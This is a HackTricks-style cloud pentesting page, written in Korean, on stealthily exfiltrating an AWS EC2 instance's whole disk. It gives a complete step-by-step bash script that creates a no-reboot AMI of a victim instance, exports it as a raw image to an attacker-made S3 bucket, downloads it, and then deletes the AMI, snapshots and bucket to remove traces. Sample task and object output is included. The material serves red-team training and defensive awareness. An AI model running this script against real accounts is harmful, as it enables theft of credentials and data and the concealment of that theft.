AWS – AMI Store-to-S3를 통한 은밀한 디스크 유출 (CreateStoreImageTask)

Reading time: 5 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

요약

EC2 AMI의 export-to-S3 기능을 악용하여 EC2 인스턴스의 전체 디스크를 S3에 단일 원시 이미지로 내보내고, 이를 대역 외로 다운로드합니다. 이는 스냅샷 공유를 피하고 AMI당 하나의 객체를 생성합니다.

요구사항

  • EC2: ec2:CreateImage, ec2:CreateStoreImageTask, ec2:DescribeStoreImageTasks 대상 인스턴스/AMI에서
  • S3 (같은 Region): s3:PutObject, s3:GetObject, s3:ListBucket, s3:AbortMultipartUpload, s3:PutObjectTagging, s3:GetBucketLocation
  • AMI 스냅샷을 보호하는 키에 대한 KMS decrypt 권한 (EBS 기본 암호화가 활성화된 경우)
  • vmie.amazonaws.com 서비스 주체를 신뢰하는 S3 버킷 정책(아래 참조)

영향

  • 스냅샷을 공유하거나 계정 간 복사 없이 인스턴스 루트 디스크를 S3에 완전히 오프라인 획득할 수 있음.
  • 내보낸 원시 이미지에서 자격증명, 구성 및 파일시스템 내용을 은밀하게 포렌식할 수 있음.

AMI Store-to-S3로 유출하는 방법

  • 참고:
  • S3 버킷은 AMI와 같은 리전에 있어야 합니다.
  • us-east-1에서는 create-bucket--create-bucket-configuration을 포함하면 안 됩니다.
  • --no-reboot는 인스턴스를 중지하지 않고 crash-consistent 이미지를 생성합니다 (더 은밀하지만 일관성은 낮음).
단계별 명령
bash
# Vars
REGION=us-east-1
INSTANCE_ID=<i-victim>
BUCKET=exfil-ami-$(date +%s)-$RANDOM

# 1) Create S3 bucket (same Region)
if [ "$REGION" = "us-east-1" ]; then
aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
else
aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
fi

# 2) (Recommended) Bucket policy to allow VMIE service to write the object
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
cat > /tmp/bucket-policy.json <<POL
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowVMIEPut",
"Effect": "Allow",
"Principal": {"Service": "vmie.amazonaws.com"},
"Action": [
"s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
"s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
],
"Resource": [
"arn:aws:s3:::$BUCKET",
"arn:aws:s3:::$BUCKET/*"
],
"Condition": {
"StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
"ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
}
}
]
}
POL
aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json

# 3) Create an AMI of the victim (stealthy: do not reboot)
AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)

# 4) Wait until the AMI is available
aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"

# 5) Store the AMI to S3 as a single object (raw disk image)
OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)

echo "Object in S3: s3://$BUCKET/$OBJKEY"

# 6) Poll the task until it completes
until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
--query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
--query StoreImageTaskResults[0].StoreTaskState --output text
sleep 10
done

# 7) Prove access to the exported image (download first 1MiB)
aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
ls -l /tmp/ami.bin

# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
--query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
done
aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
aws s3 rb "s3://$BUCKET" --force --region "$REGION"

증거 예시

  • describe-store-image-tasks 전환:
text
InProgress
Completed
  • S3 오브젝트 메타데이터(예):
json
{
"AcceptRanges": "bytes",
"LastModified": "2025-10-08T01:31:46+00:00",
"ContentLength": 399768709,
"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
"ContentType": "application/octet-stream",
"ServerSideEncryption": "AES256",
"Metadata": {
"ami-name": "exfil-1759887010",
"ami-owner-account": "<account-id>",
"ami-store-date": "2025-10-08T01:31:45Z"
}
}
  • 부분 다운로드는 객체 액세스를 증명합니다:
bash
ls -l /tmp/ami.bin
# -rw-r--r--  1 user  wheel  1048576 Oct  8 03:32 /tmp/ami.bin

필요한 IAM 권한

  • EC2: CreateImage, CreateStoreImageTask, DescribeStoreImageTasks
  • S3 (내보내기 버킷에서): PutObject, GetObject, ListBucket, AbortMultipartUpload, PutObjectTagging, GetBucketLocation
  • KMS: AMI 스냅샷이 암호화된 경우, 스냅샷에 사용된 EBS KMS 키에 대해 decrypt를 허용

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기